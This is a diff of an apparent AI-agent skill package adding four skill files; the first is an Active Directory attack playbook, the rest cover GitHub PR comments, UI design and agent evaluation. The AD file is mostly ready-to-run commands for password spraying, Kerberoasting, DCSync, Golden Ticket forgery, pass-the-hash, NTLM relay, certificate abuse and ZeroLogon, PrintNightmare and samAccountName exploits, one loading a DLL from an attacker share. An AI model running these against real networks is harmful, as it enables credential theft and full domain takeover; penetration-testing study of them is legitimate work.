@ngxtm/devkit 3.7.0 → 3.9.0

package/merged-commands/active-directory-attacks.md

@@ -0,0 +1,383 @@
+---
+name: Active Directory Attacks
+description: This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Active Directory Attacks
+
+## Purpose
+
+Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
+
+## Inputs/Prerequisites
+
+- Kali Linux or Windows attack platform
+- Domain user credentials (for most attacks)
+- Network access to Domain Controller
+- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
+
+## Outputs/Deliverables
+
+- Domain enumeration data
+- Extracted credentials and hashes
+- Kerberos tickets for impersonation
+- Domain Administrator access
+- Persistent access mechanisms
+
+---
+
+## Essential Tools
+
+| Tool | Purpose |
+|------|---------|
+| BloodHound | AD attack path visualization |
+| Impacket | Python AD attack tools |
+| Mimikatz | Credential extraction |
+| Rubeus | Kerberos attacks |
+| CrackMapExec | Network exploitation |
+| PowerView | AD enumeration |
+| Responder | LLMNR/NBT-NS poisoning |
+
+---
+
+## Core Workflow
+
+### Step 1: Kerberos Clock Sync
+
+Kerberos requires clock synchronization (±5 minutes):
+
+```bash
+# Detect clock skew
+nmap -sT 10.10.10.10 -p445 --script smb2-time
+
+# Fix clock on Linux
+sudo date -s "14 APR 2024 18:25:16"
+
+# Fix clock on Windows
+net time /domain /set
+
+# Fake clock without changing system time
+faketime -f '+8h' <command>
+```
+
+### Step 2: AD Reconnaissance with BloodHound
+
+```bash
+# Start BloodHound
+neo4j console
+bloodhound --no-sandbox
+
+# Collect data with SharpHound
+.\SharpHound.exe -c All
+.\SharpHound.exe -c All --ldapusername user --ldappassword pass
+
+# Python collector (from Linux)
+bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
+```
+
+### Step 3: PowerView Enumeration
+
+```powershell
+# Get domain info
+Get-NetDomain
+Get-DomainSID
+Get-NetDomainController
+
+# Enumerate users
+Get-NetUser
+Get-NetUser -SamAccountName targetuser
+Get-UserProperty -Properties pwdlastset
+
+# Enumerate groups
+Get-NetGroupMember -GroupName "Domain Admins"
+Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
+
+# Find local admin access
+Find-LocalAdminAccess -Verbose
+
+# User hunting
+Invoke-UserHunter
+Invoke-UserHunter -Stealth
+```
+
+---
+
+## Credential Attacks
+
+### Password Spraying
+
+```bash
+# Using kerbrute
+./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
+
+# Using CrackMapExec
+crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
+```
+
+### Kerberoasting
+
+Extract service account TGS tickets and crack offline:
+
+```bash
+# Impacket
+GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
+
+# Rubeus
+.\Rubeus.exe kerberoast /outfile:hashes.txt
+
+# CrackMapExec
+crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
+
+# Crack with hashcat
+hashcat -m 13100 hashes.txt rockyou.txt
+```
+
+### AS-REP Roasting
+
+Target accounts with "Do not require Kerberos preauthentication":
+
+```bash
+# Impacket
+GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
+
+# Rubeus
+.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
+
+# Crack with hashcat
+hashcat -m 18200 hashes.txt rockyou.txt
+```
+
+### DCSync Attack
+
+Extract credentials directly from DC (requires Replicating Directory Changes rights):
+
+```bash
+# Impacket
+secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
+
+# Mimikatz
+lsadump::dcsync /domain:domain.local /user:krbtgt
+lsadump::dcsync /domain:domain.local /user:Administrator
+```
+
+---
+
+## Kerberos Ticket Attacks
+
+### Pass-the-Ticket (Golden Ticket)
+
+Forge TGT with krbtgt hash for any user:
+
+```powershell
+# Get krbtgt hash via DCSync first
+# Mimikatz - Create Golden Ticket
+kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
+
+# Impacket
+ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
+export KRB5CCNAME=Administrator.ccache
+psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
+```
+
+### Silver Ticket
+
+Forge TGS for specific service:
+
+```powershell
+# Mimikatz
+kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
+```
+
+### Pass-the-Hash
+
+```bash
+# Impacket
+psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+
+# CrackMapExec
+crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
+crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
+```
+
+### OverPass-the-Hash
+
+Convert NTLM hash to Kerberos ticket:
+
+```bash
+# Impacket
+getTGT.py domain.local/user -hashes :NTHASH
+export KRB5CCNAME=user.ccache
+
+# Rubeus
+.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
+```
+
+---
+
+## NTLM Relay Attacks
+
+### Responder + ntlmrelayx
+
+```bash
+# Start Responder (disable SMB/HTTP for relay)
+responder -I eth0 -wrf
+
+# Start relay
+ntlmrelayx.py -tf targets.txt -smb2support
+
+# LDAP relay for delegation attack
+ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
+```
+
+### SMB Signing Check
+
+```bash
+crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
+```
+
+---
+
+## Certificate Services Attacks (AD CS)
+
+### ESC1 - Misconfigured Templates
+
+```bash
+# Find vulnerable templates
+certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
+
+# Exploit ESC1
+certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
+
+# Authenticate with certificate
+certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
+```
+
+### ESC8 - Web Enrollment Relay
+
+```bash
+ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+```
+
+---
+
+## Critical CVEs
+
+### ZeroLogon (CVE-2020-1472)
+
+```bash
+# Check vulnerability
+crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
+
+# Exploit
+python3 cve-2020-1472-exploit.py DC01 10.10.10.10
+
+# Extract hashes
+secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
+
+# Restore password (important!)
+python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
+```
+
+### PrintNightmare (CVE-2021-1675)
+
+```bash
+# Check for vulnerability
+rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
+
+# Exploit (requires hosting malicious DLL)
+python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
+```
+
+### samAccountName Spoofing (CVE-2021-42278/42287)
+
+```bash
+# Automated exploitation
+python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
+```
+
+---
+
+## Quick Reference
+
+| Attack | Tool | Command |
+|--------|------|---------|
+| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
+| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
+| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
+| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
+| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
+| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
+
+---
+
+## Constraints
+
+**Must:**
+- Synchronize time with DC before Kerberos attacks
+- Have valid domain credentials for most attacks
+- Document all compromised accounts
+
+**Must Not:**
+- Lock out accounts with excessive password spraying
+- Modify production AD objects without approval
+- Leave Golden Tickets without documentation
+
+**Should:**
+- Run BloodHound for attack path discovery
+- Check for SMB signing before relay attacks
+- Verify patch levels for CVE exploitation
+
+---
+
+## Examples
+
+### Example 1: Domain Compromise via Kerberoasting
+
+```bash
+# 1. Find service accounts with SPNs
+GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
+
+# 2. Request TGS tickets
+GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
+
+# 3. Crack tickets
+hashcat -m 13100 tgs.txt rockyou.txt
+
+# 4. Use cracked service account
+psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
+```
+
+### Example 2: NTLM Relay to LDAP
+
+```bash
+# 1. Start relay targeting LDAP
+ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
+
+# 2. Trigger authentication (e.g., via PrinterBug)
+python3 printerbug.py domain.local/user:pass@target 10.10.10.12
+
+# 3. Use created machine account for RBCD attack
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| Clock skew too great | Sync time with DC or use faketime |
+| Kerberoasting returns empty | No service accounts with SPNs |
+| DCSync access denied | Need Replicating Directory Changes rights |
+| NTLM relay fails | Check SMB signing, try LDAP target |
+| BloodHound empty | Verify collector ran with correct creds |
+
+---
+
+## Additional Resources
+
+For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).

package/merged-commands/address-github-comments.md

@@ -0,0 +1,55 @@
+---
+name: address-github-comments
+description: Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI.
+---
+
+# Address GitHub Comments
+
+## Overview
+
+Efficiently address PR review comments or issue feedback using the GitHub CLI (`gh`). This skill ensures all feedback is addressed systematically.
+
+## Prerequisites
+
+Ensure `gh` is authenticated.
+
+```bash
+gh auth status
+```
+
+If not logged in, run `gh auth login`.
+
+## Workflow
+
+### 1. Inspect Comments
+
+Fetch the comments for the current branch's PR.
+
+```bash
+gh pr view --comments
+```
+
+Or use a custom script if available to list threads.
+
+### 2. Categorize and Plan
+
+- List the comments and review threads.
+- Propose a fix for each.
+- **Wait for user confirmation** on which comments to address first if there are many.
+
+### 3. Apply Fixes
+
+Apply the code changes for the selected comments.
+
+### 4. Respond to Comments
+
+Once fixed, respond to the threads as resolved.
+
+```bash
+gh pr comment <PR_NUMBER> --body "Addressed in latest commit."
+```
+
+## Common Mistakes
+
+- **Applying fixes without understanding context**: Always read the surrounding code of a comment.
+- **Not verifying auth**: Check `gh auth status` before starting.

package/merged-commands/aesthetic.md

@@ -0,0 +1,134 @@
+---
+name: aesthetic
+description: Create aesthetically beautiful interfaces following proven design principles. Use when building UI/UX, analyzing designs from inspiration sites, generating design images, implementing visual hierarchy and color theory, adding micro-interactions, or creating design documentation. Integrate localized specialized skills (chrome-devtools, ImageMagick) with native vision intelligence to achieve premium aesthetic standards.
+---
+
+# Aesthetic
+
+Create aesthetically beautiful interfaces by following proven design principles and systematic workflows.
+
+## When to Use This Skill
+
+Use when:
+
+- Building or designing user interfaces
+- Analyzing designs from inspiration websites (Dribbble, Mobbin, Behance)
+- Generating design images and evaluating aesthetic quality using vision intelligence
+- Implementing visual hierarchy, typography, color theory
+- Adding micro-interactions and animations
+- Creating design documentation and style guides
+- Need guidance on accessibility and design systems
+
+## Core Framework: Four-Stage Approach
+
+### 1. BEAUTIFUL: Understanding Aesthetics
+
+Study existing designs, identify patterns, extract principles. AI lacks innate aesthetic sense—standards must come from analyzing high-quality examples and aligning with market tastes.
+
+**Reference**: [`references/design-principles.md`](references/design-principles.md) - Visual hierarchy, typography, color theory, white space principles.
+
+### 2. RIGHT: Ensuring Functionality
+
+Beautiful designs lacking usability are worthless. Study design systems, component architecture, accessibility requirements.
+
+**Reference**: [`references/design-principles.md`](references/design-principles.md) - Design systems, component libraries, WCAG accessibility standards.
+
+### 3. SATISFYING: Micro-Interactions
+
+Incorporate subtle animations with appropriate timing (150-300ms), easing curves (ease-out for entry, ease-in for exit), sequential delays.
+
+**Reference**: [`references/micro-interactions.md`](references/micro-interactions.md) - Duration guidelines, easing curves, performance optimization.
+
+### 4. PEAK: Storytelling Through Design
+
+Elevate with narrative elements—parallax effects, particle systems, thematic consistency. Use restraint: "too much of anything isn't good."
+
+**Reference**: [`references/storytelling-design.md`](references/storytelling-design.md) - Narrative elements, scroll-based storytelling, interactive techniques.
+
+## Workflows
+
+### Workflow 1: Capture & Analyze Inspiration
+
+**Purpose**: Extract design guidelines from inspiration websites.
+
+**Steps**:
+
+1. Browse inspiration sites (Dribbble, Mobbin, Behance, Awwwards)
+2. Use the **chrome-devtools** skill to capture full-screen screenshots
+3. Use your **native vision capabilities** to analyze the results, prioritizing skill-based insights to extract:
+   - Design style (Minimalism, Glassmorphism, Neo-brutalism, etc.)
+   - Layout structure & grid systems
+   - Typography system & hierarchy
+     **IMPORTANT:** Try to predict the font name (Google Fonts) and font size in the given screenshot, don't just use Inter or Poppins.
+   - Color palette with hex codes
+   - Visual hierarchy techniques
+   - Component patterns & styling
+   - Micro-interactions
+   - Accessibility considerations
+   - Overall aesthetic quality rating (1-10)
+4. Document findings in project design guidelines using templates
+
+### Workflow 2: Generate & Iterate Design Images
+
+**Purpose**: Create aesthetically pleasing design images through iteration.
+
+**Steps**:
+
+1. Define design prompt with: style, colors, typography, audience, animation specs
+2. Use available **image generation tools** (e.g., `generate_image`) to generate design images.
+3. Use your **native vision capabilities** to analyze output images and evaluate aesthetic quality.
+4. If score < 7/10 or fails professional standards:
+   - Identify specific weaknesses (color, typography, layout, spacing, hierarchy)
+   - Refine prompt with improvements
+   - Regenerate using available tools or use the `ImageMagick` skill to refine outputs (resize, crop, filters, composition).
+5. Repeat until aesthetic standards met (score ≥ 7/10)
+6. Document final design decisions using templates
+
+## Design Documentation
+
+### Create Design Guidelines
+
+Use [`assets/design-guideline-template.md`](assets/design-guideline-template.md) to document:
+
+- Color patterns & psychology
+- Typography system & hierarchy
+- Layout principles & spacing
+- Component styling standards
+- Accessibility considerations
+- Design highlights & rationale
+
+Save in project `./docs/design-guideline.md`.
+
+### Create Design Story
+
+Use [`assets/design-story-template.md`](assets/design-story-template.md) to document:
+
+- Narrative elements & themes
+- Emotional journey
+- User journey & peak moments
+- Design decision rationale
+
+Save in project `./docs/design-story.md`.
+
+## Resources & Integration
+
+### Related Skills
+
+- **Multimodal Intelligence**: Analyze documents, screenshots & videos, generate design images, and evaluate aesthetic quality.
+- **chrome-devtools**: Capture high-quality screenshots from inspiration websites for analysis.
+- **media-processing**: Refine generated images using specialized skills (FFmpeg for video, ImageMagick for images).
+- **ui-styling**: Implement designs with semantic HTML/CSS or framework components.
+- **web-frameworks**: Build with modern frameworks (Next.js, Vite, etc.).
+
+### Reference Documentation
+
+**References**: [`references/design-resources.md`](references/design-resources.md) - Inspiration platforms, design systems, AI tools, and development strategies.
+
+## Key Principles
+
+1. Aesthetic standards come from humans, not AI—study quality examples
+2. Iterate based on analysis—never settle for first output
+3. Balance beauty with functionality and accessibility
+4. Document decisions for consistency across development
+5. Use progressive disclosure in design—reveal complexity gradually
+6. Always evaluate aesthetic quality objectively (score ≥ 7/10)

package/merged-commands/agent-evaluation.md

@@ -0,0 +1,64 @@
+---
+name: agent-evaluation
+description: "Testing and benchmarking LLM agents including behavioral testing, capability assessment, reliability metrics, and production monitoring—where even top agents achieve less than 50% on real-world benchmarks Use when: agent testing, agent evaluation, benchmark agents, agent reliability, test agent."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Agent Evaluation
+
+You're a quality engineer who has seen agents that aced benchmarks fail spectacularly in
+production. You've learned that evaluating LLM agents is fundamentally different from
+testing traditional software—the same input can produce different outputs, and "correct"
+often has no single answer.
+
+You've built evaluation frameworks that catch issues before production: behavioral regression
+tests, capability assessments, and reliability metrics. You understand that the goal isn't
+100% test pass rate—it
+
+## Capabilities
+
+- agent-testing
+- benchmark-design
+- capability-assessment
+- reliability-metrics
+- regression-testing
+
+## Requirements
+
+- testing-fundamentals
+- llm-fundamentals
+
+## Patterns
+
+### Statistical Test Evaluation
+
+Run tests multiple times and analyze result distributions
+
+### Behavioral Contract Testing
+
+Define and test agent behavioral invariants
+
+### Adversarial Testing
+
+Actively try to break agent behavior
+
+## Anti-Patterns
+
+### ❌ Single-Run Testing
+
+### ❌ Only Happy Path Tests
+
+### ❌ Output String Matching
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Agent scores well on benchmarks but fails in production | high | // Bridge benchmark and production evaluation |
+| Same test passes sometimes, fails other times | high | // Handle flaky tests in LLM agent evaluation |
+| Agent optimized for metric, not actual task | medium | // Multi-dimensional evaluation to prevent gaming |
+| Test data accidentally used in training or prompts | critical | // Prevent data leakage in agent evaluation |
+
+## Related Skills
+
+Works well with: `multi-agent-orchestration`, `agent-communication`, `autonomous-agents`